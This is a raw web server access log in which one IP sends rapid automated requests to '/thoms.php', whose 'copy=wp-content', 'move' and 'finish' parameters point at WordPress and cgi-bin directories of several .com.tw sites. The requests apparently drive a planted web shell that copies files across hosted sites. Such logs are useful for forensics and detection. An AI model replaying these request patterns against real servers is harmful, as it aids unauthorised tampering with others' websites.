45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 14175 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17712 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12058 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13774 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13631 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17429 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12601 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17427 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13287 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13446 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:42 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28716 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14218 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14107 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12057 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12605 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13117 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:43 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17371 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12592 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28740 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13276 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14099 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12050 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13994 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:44 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17479 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12588 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13421 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14157 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17478 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
